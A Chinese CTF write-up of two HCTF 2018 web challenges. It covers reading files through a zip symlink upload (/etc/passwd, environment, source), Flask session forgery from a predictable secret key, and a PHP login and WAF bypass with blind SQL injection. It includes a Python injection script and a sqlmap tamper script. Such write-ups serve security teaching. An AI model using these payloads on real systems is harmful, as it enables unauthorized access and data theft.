php webp decode.h,HCTF两道web题目

最新推荐文章于 2022-06-13 09:49:04 发布
最新推荐文章于 2022-06-13 09:49:04 发布
阅读量5.5k 收藏
点赞数
文章标签： php webp decode.h

HCTF WEB wp

HCTF的题目总体来说相当不错，部分题目质量很高，同时也有很多我没有考虑到的地方，这里记录一哈学习笔记。

hide and seek

这道题目质量相当不错，来源于实际。

Description

only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry，there are still some bugs, so down temporarily. update3/更新3: fixed bug

URL http://hideandseek.2018.hctf.io

Base Score 1000.00

Now Score 424.63

Team solved 25

For more information, please login.

然后随便一个用户就可以登录，登录后是一个上传界面

Hello, admin@qq.coms.

I will tell you a secret, but you should upload a zipfile first.

这里需要上传zip文件，猜测需要zip软链接任意文件读取，参考这篇文章

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $ln -s /etc/passwd link

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $zip --symlinks test.zip link

adding: link (stored 0%)

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $ls

link test.zip

上传文件

POST /upload HTTP/1.1

Host: hideandseek.2018.hctf.io

Content-Length: 459

Cache-Control: max-age=0

Origin: http://hideandseek.2018.hctf.io

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpFlNQbuY8hgJaFQ

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://hideandseek.2018.hctf.io/

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Connection: close

------WebKitFormBoundaryLpFlNQbuY8hgJaFQ

Content-Disposition: form-data; name="the_file"; filename="test.zip"

Content-Type: application/zip

PK��

¶�kM

¹�)����linkUT �§óè[ªóè[ux���è��è�/etc/passwdPK����

¶�kM

¹�)����ÿ¡linkUT��§óè[ux���è��è�PK����JI

------WebKitFormBoundaryLpFlNQbuY8hgJaFQ

Content-Disposition: form-data; name="submit"

Submit

------WebKitFormBoundaryLpFlNQbuY8hgJaFQ--

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 03:30:44 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 1020

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/bin/false

nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false

messagebus:x:102:103::/var/run/dbus:/bin/false

这样就可以任意文件读取了。

最后在/proc/self/environ中读取到了一些有用的配置

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 03:49:09 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 775

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi

SUPERVISOR_GROUP_NAME=uwsgi

HOSTNAME=975f0d211f5a

SHLVL=0

PYTHON_PIP_VERSION=18.1

HOME=/root

GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D

UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

NGINX_MAX_UPLOAD=0

UWSGI_PROCESSES=16

STATIC_URL=/static

UWSGI_CHEAPER=2

NGINX_VERSION=1.13.12-1~stretch

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

NJS_VERSION=1.13.12.0.2.0-1~stretch

LANG=C.UTF-8

SUPERVISOR_ENABLED=1

PYTHON_VERSION=3.6.6

NGINX_WORKER_PROCESSES=auto

SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock

SUPERVISOR_PROCESS_NAME=uwsgi

LISTEN_PORT=80

STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fg

STATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

这里可以看到/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 09:07:36 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 95

[uwsgi]

module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main

callable=app

rm link&&ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini link&&zip --symlinks test.zip link

然后读取相应文件

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $rm link&&ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py link&&zip --symlinks test.zip link

updating: link (stored 0%)

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 10:59:05 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 2703

# -*- coding: utf-8 -*-

from flask import Flask,session,render_template,redirect, url_for, escape, request,Response

import uuid

import base64

import random

import flag

from werkzeug.utils import secure_filename

import os

random.seed(uuid.getnode())

app = Flask(__name__)

app.config['SECRET_KEY'] = str(random.random()*100)

app.config['UPLOAD_FOLDER'] = './uploads'

app.config['MAX_CONTENT_LENGTH'] = 100 * 1024

ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):

return '.' in filename and \

filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET'])

def index():

error = request.args.get('error', '')

if(error == '1'):

session.pop('username', None)

return render_template('index.html', forbidden=1)

if 'username' in session:

return render_template('index.html', user=session['username'], flag=flag.flag)

else:

return render_template('index.html')

@app.route('/login', methods=['POST'])

def login():

username=request.form['username']

password=request.form['password']

if request.method == 'POST' and username != '' and password != '':

if(username == 'admin'):

return redirect(url_for('index',error=1))

session['username'] = username

return redirect(url_for('index'))

@app.route('/logout', methods=['GET'])

def logout():

session.pop('username', None)

return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])

def upload_file():

if 'the_file' not in request.files:

return redirect(url_for('index'))

file = request.files['the_file']

if file.filename == '':

return redirect(url_for('index'))

if file and allowed_file(file.filename):

filename = secure_filename(file.filename)

file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)

if(os.path.exists(file_save_path)):

return 'This file already exists'

file.save(file_save_path)

else:

return 'This file is not a zipfile'

try:

extract_path = file_save_path + '_'

os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)

read_obj = os.popen('cat ' + extract_path + '/*')

file = read_obj.read()

read_obj.close()

os.system('rm -rf ' + extract_path)

except Exception as e:

file = None

os.remove(file_save_path)

if(file != None):

if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):

return redirect(url_for('index', error=1))

return Response(file)

if __name__ == '__main__':

#app.run(debug=True)

app.run(host='127.0.0.1', debug=True, port=10008)

└──╼ $rm link&&ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html link&&zip --symlinks test.zip link

updating: link (stored 0%)

{% if user %}

{% else %}

Sign in

{% endif %}

{% if user %}

Hello, {{ user }}.

{% if user == 'admin' %}

Your flag:

{{ flag }}

{% else %}

I will tell you a secret, but you should upload a zipfile first.

enctype="multipart/form-data">

{% endif %}

{% else %}

For more information, please login.

{% endif %}

{% if forbidden %}

>

{% endif %}

flask框架简化后如下:

random.seed(uuid.getnode())

app = Flask(__name__)

app.config['SECRET_KEY'] = str(random.random()*100)

app.config['UPLOAD_FOLDER'] = './uploads'

app.config['MAX_CONTENT_LENGTH'] = 100 * 1024

ALLOWED_EXTENSIONS = set(['zip'])

@app.route('/', methods=['GET'])

def index():

error = request.args.get('error', '')

if(error == '1'):

session.pop('username', None)

return render_template('index.html', forbidden=1)

if 'username' in session:

return render_template('index.html', user=session['username'], flag=flag.flag)

else:

return render_template('index.html')

@app.route('/login', methods=['POST'])

def login():

username=request.form['username']

password=request.form['password']

if request.method == 'POST' and username != '' and password != '':

if(username == 'admin'):

return redirect(url_for('index',error=1))

session['username'] = username

return redirect(url_for('index'))

@app.route('/logout', methods=['GET'])

def logout():

session.pop('username', None)

return redirect(url_for('index'))

这里可以看到，我们无法以admin用户进行登录，就需要伪造admin身份，而且这里判断依据是user=session['username']。

但是这段代码看起来完美无缺，简短精憾，在不考虑0day的情况下，而且ctf题目一定有解(除国赛web2)的情况下。

所以问题只有可能出现在这里。

random.seed(uuid.getnode())

app = Flask(__name__)

app.config['SECRET_KEY'] = str(random.random()*100)

通过这些信息进行伪造admin用户。

需要序列号

┌─[thekingofnight@parrot]─[~/Tools]

└──╼ $rm link&&ln -s /app/main.py link&&zip --symlinks test.zip link

updating: link (stored 0%)

首先查看python的版本

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 11:03:57 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Content-Length: 257

from flask import Flask

app = Flask(__name__)

@app.route("/")

def hello():

return "Hello World from Flask in a uWSGI Nginx Docker container with \

Python 3.6 (default)"

if __name__ == "__main__":

app.run(host='0.0.0.0', debug=True, port=80)

根据python3.6的特征

app.config['SECRET_KEY']是这里的随机数

不过种子是random.seed(uuid.getnode())，也就是机器的mac地址(固定可读)

所以这里可以预测随机数

针对uuid.getnode()

读取/sys/class/net/eth0/address

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 11:05:38 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 18

Connection: close

12:34:3e:14:7c:62

最后需要的东西都已经齐全了，本地得到session然后直接在服务器端替换就好

最后

GET / HTTP/1.1

Host: hideandseek.2018.hctf.io

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://hideandseek.2018.hctf.io/upload

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Cookie: _ga=GA1.2.1633104795.1541783595; _gid=GA1.2.2136505943.1541783595; session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk

Connection: close

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 11:48:43 GMT

Content-Type: text/html; charset=utf-8

Connection: close

Vary: Cookie

Content-Length: 2336

Hello, admin.

Your flag:

hctf{2495e2ef667b367a0738f5eae9d6afb983c2}

kzone

这到题目相当不错，同时也显现了我代码审计的许多不足

www.zip源码泄露

├── 2018.php

├── admin

│ ├── delete.php

│ ├── export.php

│ ├── index.php

│ ├── list.php

│ ├── login.php

│ └── pass.php

├── config.php

├── Default account&password.txt

├── include

│ ├── common.php

│ ├── db.class.php

│ ├── function.php

│ ├── kill.intercept.php

│ ├── member.php

│ ├── os.php

│ └── safe.php

├── index.php

├── install.sql

├── robots.txt

├── Tutorial.txt

└── www.zip

以下是我代码审计的一种安全观，当然我个人比较喜欢全文通读代码，同时技术也比较菜...

/include/* 中就是很多函数的方法

/admin/* 就是管理员常用的一些功能

/* 就是外面展现给用户的一部分

Tutorial.txt

这里就是告诉数据库密码是md5保存的

而且2838778326根据google搜索可以知道这是钓鱼网站

/index.php

require_once 'include/common.php';

?>

Mobile phone unified login

  • placeholder="Input your KK_Account please">

Login

Login quickly

οnclick="window.open('https://ssl.zc.qq.com/v3/index-chs.html?from=pt')">Register

Retrieve password

这里只需要关注

require_once 'include/common.php';

在看

/include/common.php

error_reporting(0);

header('Content-Type: text/html; charset=UTF-8');

define('IN_CRONLITE', true);

define('ROOT', dirname(__FILE__).'/');

define('LOGIN_KEY', 'abchdbb768526');

date_default_timezone_set("PRC");

$date = date("Y-m-d H:i:s");

session_start();

include ROOT.'../config.php';

if(!isset($port))$port='3306';

include_once(ROOT."db.class.php");

$DB=new DB($host,$user,$pwd,$dbname,$port);

$password_hash='!@#%!s!';

require_once "safe.php";

require_once ROOT."function.php";

require_once ROOT."member.php";

require_once ROOT."os.php";

require_once ROOT."kill.intercept.php";

?>

这里$password_hash='!@#%!s!';理论上应该可以得到许多意想不到的东西

不过在这里，关注以下内容

define('IN_CRONLITE', true);

session_start();

/include/safe.php

function waf($string)

{

$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-||\#|\s/i';

return preg_replace_callback($blacklist, function ($match) {

return '@' . $match[0] . '@';

}, $string);

}

function safe($string)

{

if (is_array($string)) {

foreach ($string as $key => $val) {

$string[$key] = safe($val);

}

} else {

$string = waf($string);

}

return $string;

}

foreach ($_GET as $key => $value) {

if (is_string($value) && !is_numeric($value)) {

$value = safe($value);

}

$_GET[$key] = $value;

}

foreach ($_POST as $key => $value) {

if (is_string($value) && !is_numeric($value)) {

$value = safe($value);

}

$_POST[$key] = $value;

}

foreach ($_COOKIE as $key => $value) {

if (is_string($value) && !is_numeric($value)) {

$value = safe($value);

}

$_COOKIE[$key] = $value;

}

unset($cplen, $key, $value);

?>

这里过滤了很多东西，使sql注入变的很棘手，不过没有过滤裸露的',同时，对参数的过滤没有过滤XFF

member.php

if (!defined('IN_CRONLITE')) exit();

$islogin = 0;

if (isset($_COOKIE["islogin"])) {

if ($_COOKIE["login_data"]) {

$login_data = json_decode($_COOKIE['login_data'], true);

$admin_user = $login_data['admin_user'];

$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

if ($udata['username'] == '') {

setcookie("islogin", "", time() - 604800);

setcookie("login_data", "", time() - 604800);

}

$admin_pass = sha1($udata['password'] . LOGIN_KEY);

if ($admin_pass == $login_data['admin_pass']) {

$islogin = 1;

} else {

setcookie("islogin", "", time() - 604800);

setcookie("login_data", "", time() - 604800);

}

}

}

if (isset($_SESSION['islogin'])) {

if ($_SESSION["admin_user"]) {

$admin_user = base64_decode($_SESSION['admin_user']);

$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");

$admin_pass = sha1($udata['password'] . LOGIN_KEY);

if ($admin_pass == $_SESSION["admin_pass"]) {

$islogin = 1;

}

}

}

?>

这里首先判断了defined('IN_CRONLITE')，当然在common中定义了，意外着所有包含了'include/common.php'的文件都会进行member的审核。

然后首先判断有没有_COOKIE["islogin"])，在判断admin_user(当然是admin),同时进行数据库查询，如果没有成功查询，就返回两个set-cookie，后面admin_pass如果数据库查询的结果做比较，如果未果，就再返回两个set，当然这里需要注意使用了==，同时，数据库数据存储的是md5。

所以这里就可以采用经典的md5绕过，根据set-cookie来进行盲注。

当然大前提是得过waf。

而且这里admin_pass中采用了==，利用php的漏洞，可以直接数字与字符串进行比较，只需要前面数字部分匹配就好了。

最后fuzz可以直接得出

Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":65}

数据应该是在数据库中的，fuzz最后使用unicode编码绕过,思路:

union->\u0075nion

md5绕过

islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"}

set-cookie盲住回显

send

GET /include/common.php HTTP/1.1

Host: kzone.2018.hctf.io

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":1}

Connection: close

response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 09:28:58 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Set-Cookie: PHPSESSID=r64690s2u5l79i1ib7eodiplo6; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

send

GET /include/common.php HTTP/1.1

Host: kzone.2018.hctf.io

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Cookie: islogin=1;login_data={"admin_user":"admin","admin_pass":65}

Connection: close

response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 09:28:27 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Set-Cookie: PHPSESSID=jst6ilm633mcctc5plva3qg4n1; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

send

GET /include/common.php HTTP/1.1

Host: kzone.2018.hctf.io

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;q=0.9,en;q=0.8,zh-TW;q=0.7

Cookie: islogin=1;login_data={"admin_user":"admin1","admin_pass":1}

Connection: close

response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 12 Nov 2018 09:30:04 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Set-Cookie: PHPSESSID=8f388a7k195v6j0dkdg7oejl37; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: islogin=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

Set-Cookie: login_data=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0

这里所有/include/common.php的都会受影响

接着看

2018.php

2018.php

require_once './include/common.php';

$realip = real_ip();

$ipcount = $DB->count("SELECT count(*) from fish_user where ip='$realip'");

if ($ipcount < 3) {

$username = addslashes($_POST['user']);

$password = addslashes($_POST['pass']);

$address = getCity($realip);

$time = date("Y-m-d H:i:s");

$ua = $_SERVER['HTTP_USER_AGENT'];

$device = get_device($ua);

$sql = "INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";

$DB->query($sql);

header("Location: https://i.qq.com/?rd=" . $username);

} else {

header("Location: https://i.qq.com/?rd=" . $username);

}

?>

这里调用了real_ip()方法，在kill.intercept.php中定义，这里只贴简化代码

function real_ip()

{

$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {

$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);

$ip = $list[0];

}

if (!ip2long($ip)) {

$ip = '';

}

return $ip;

}

这里应该ip2long将ip转换为数字，再根据之前的分析ip已经没有注入漏洞了。

在safe.php过滤的情况下，其他*.php就不分析了，几乎可以通杀，登录到admin执行sql语句就会十分方便。

这里给出sql注入的方法

根据set-cookie的不同写脚本

import requests

import string

def test_once(index,s):

session = requests.Session()

paramsPost = {"login":"Login","pass":"1","user":"admin"}

cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"}

headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"}

response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies)

flag = response.headers['Set-Cookie'].count('islogin')

if flag == 1:

print(index,s,'yes')

return True

elif flag == 2:

print(index,s,'no')

else:

print('[-] may be error,{}'.format(s))

return False

def hack():

ss = string.printable

num = 41

flag = ''

end = 0

i = 1

for i in range(1,num):

for s in ss:

if test_once(i,s+flag):

flag = s+flag

break

print flag

print flag

if __name__=='__main__':

hack()

a.txt

POST /admin/list.php HTTP/1.1

Host: kzone.2018.hctf.io

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://kzone.2018.hctf.io/admin/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 29

Cookie: islogin=1;login_data=*

Connection: close

Upgrade-Insecure-Requests: 1

user=admin&pass=1&login=Login

/usr/share/sqlmap/tamper/hctf.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

data = '''{"admin_user":"admin%s","admin_pass":65};'''

payload = payload.lower()

payload = payload.replace('u', '\u0075')

payload = payload.replace('o', '\u006f')

payload = payload.replace('i', '\u0069')

payload = payload.replace('\'', '\u0027')

payload = payload.replace('\"', '\u0022')

payload = payload.replace(' ', '\u0020')

payload = payload.replace('s', '\u0073')

payload = payload.replace('#', '\u0023')

payload = payload.replace('>', '\u003e')

payload = payload.replace('

payload = payload.replace('-', '\u002d')

payload = payload.replace('=', '\u003d')

payload = payload.replace('f1a9', 'F1a9')

payload = payload.replace('f1', 'F1')

return data % payload

payload

┌─[thekingofnight@parrot]─[~/Temp]

└──╼ $sqlmap -r a.txt --tamper=hctf --dbms=mysql --thread=10 --technique=B --not-string=window.location --dbs

result

available databases [3]:

[*] hctf_kouzone

[*] information_schema

[*] mysql

剩下的就无脑操作了。

这到题目好像有写的权限，数据库里有一些不可名状的东西，服务器今天还中断了一段时间，联系出题人才修好。

自己的不足之处

1.json 反序列化时，会将Unicode 解码的特性，实现了完全绕过 WAF ，这里其实是我过滤的不够完善了。大家可以想一下，如果\ 也被过滤掉，还有没有其他姿势呢？

2.过滤了 or 导致没有办法通过 information_schema 库来查询表名，然而其实MySQL 5.7 之后的版本，在其自带的 mysql 库中，新增了 innodb_table_stats 和 innodb_index_stats 这两张日志表。如果数据表的引擎是innodb ，则会在这两张表中记录表、键的信息 。

而从 install.sql 中可以看出，网站使用的正是innodb 引擎

CREATE TABLE IF NOT EXISTS `fish_admin` (

`id` tinyint(3) unsigned NOT NULL AUTO_INCREMENT,

`username` varchar(20) NOT NULL,

`password` char(32) NOT NULL,

`name` varchar(255) DEFAULT '',

`qq` varchar(255) DEFAULT '',

`per` int(11) NOT NULL DEFAULT '3',

PRIMARY KEY (`id`),

UNIQUE KEY `username` (`username`)

) ENGINE=innodb DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

参考

weixin_39548776
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2021-DASCTF八月挑战赛
Yasso的博客
09-01 1496
babypython[国赛总决赛复现] 是个上传界面，经测试只能上传zip文件 看到页面提示，猜测只有admin才能得到flag，需要伪造session，伪造session要用到一个工具-flask-unsign 所以这道题关键是需要找到key. 可以上传zip文件，同时后台自动解压的情况下，从而实现任意文件读取。 软连接导致任意文件读取 我们可以压缩一个软链接，类似于windows下的快捷方式，然后网站后台会解压读取该软链接指向的服务器上的文件，就能达到读取任意文件的效果。 ln -s /etc/pas
cdn.cache.php,CDN缓存不命中诊断 - 在线工具
weixin_34624426的博客
03-23 255
通过近期对cdn的了解和研究,包括缓存未命中的问题,综合了一下,写成了这个cdn诊断小工具您可以直接输入已经采用cdn加速的网址,可以帮您检测到是否开启了cdn缓存,cdn缓存时间,cdn是否命中通过网址返回的response headers 可以帮您检测缓存未命中的可能原因如果源站的http头部包含一些不缓存的信息，那么CDN”也许“会相应的继承源站发出的HTTP状态。以下http响应头部信息都...
【文件上传】软链接+zip包上传
serendipity1130的博客
08-28 1377
漏洞：任意文件上传读取本地文件，包含链接的zip文件 1.在robots.txt中发现了禁止访问的地址，进行地址访问： 2. 来到登录界面，使用burp爆破出密码为：admin admin 3. 查看到需要上传文件，并且有提示： 4.生成软链接，打包上传即可获取flag ...
代码审计之_钓鱼后台代码审计
whojoe的博客
04-24 1313
代码审计之_钓鱼后台代码审计前言开始审计目录结构xff注入测试base64_decode函数构造绕过修改管理密码结束 前言 今天群里有位表哥发了一个钓鱼网站，另一位表哥又说有漏洞，于是就找他要到了源码，并且提供了一些思路，因为代码量比较少，所以我就通读了。 开始审计 首先看了一下目录结构，发现只有两个目录还有一些文件 目录结构 存在一个防注入的360webscan，而且对于数据库操作都对传入的参...
SpringBoot中的内容协商，颠覆你的认知
路人甲Java
02-17 850
大家好，我是路人，这是 SpringMVC 系列第 32 篇。这里透露一点，最近准备开个付费版知识星球，带领大家一起学java，一年可能百十块钱，设置这个门槛呢，是为了带领想学习的朋友，更...
PS支持webp插件.zip
03-16
WebP是一种由Google开发的高效图像格式，旨在提供更小的文件大小，同时保持高质量的图像显示。这种格式结合了有损和无损压缩技术，对于优化网站加载速度和节省带宽尤其有用。Photoshop（简称PS）是Adobe公司推出的...
WebP.8bi下载
11-30
"WebP.8bi" 文件是Adobe Photoshop的一个插件，用于扩展软件对WebP格式的支持。将这个插件下载并安装到Photoshop的"Plug-ins"目录下，就可以使Photoshop识别并处理WebP文件。 在Windows操作系统中，这个过程通常...
webp格式插件.zip
03-18
WebP是一种由Google开发的图像文件格式，旨在提供更高效的图片存储和加载，以优化网页性能。相较于传统的JPEG和PNG格式，WebP在无损压缩下可以实现更高的压缩比，从而减少图片文件大小，加快网页加载速度。它还支持...
Acdsee 3.1经典版合集及webp插件.zip
04-03
关闭ACDSee，复制“Webp for ACDSee”文件夹下.apl插件文件到 \Program Files\ACDSee\PlugIns 目录下，重新打开 ACDSee 即可查看 webp 格式图片。 同时还可用 ACDSee 在 webp 格式图片和其他格式文件之间互相转换。 ...
PS支持webp插件.rar
09-01
WebP是一种由Google开发的新型图像格式，旨在提供更高效的数据压缩，以实现更快的网页加载速度和更低的带宽消耗。然而，原生的Photoshop并不直接支持WebP格式，因此需要额外的插件来实现对这种格式的读取和编辑。 ...
ctfshow php特性 下
weixin_63231007的博客
06-13 1335
web113 function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($f
php防止代码注入漏洞,php防止sql注入漏洞代码
weixin_28994767的博客
04-12 103
//Code By Safefunction customError($errno, $errstr, $errfile, $errline){echo "Error number: [$errno],error on line $errline in $errfile";die();}set_error_handler("customError",E_ERROR);$getfilter="'|(...
Flask Docker部署 uwsgi nginx python3.6
Bear_861110453的专栏
05-17 3476
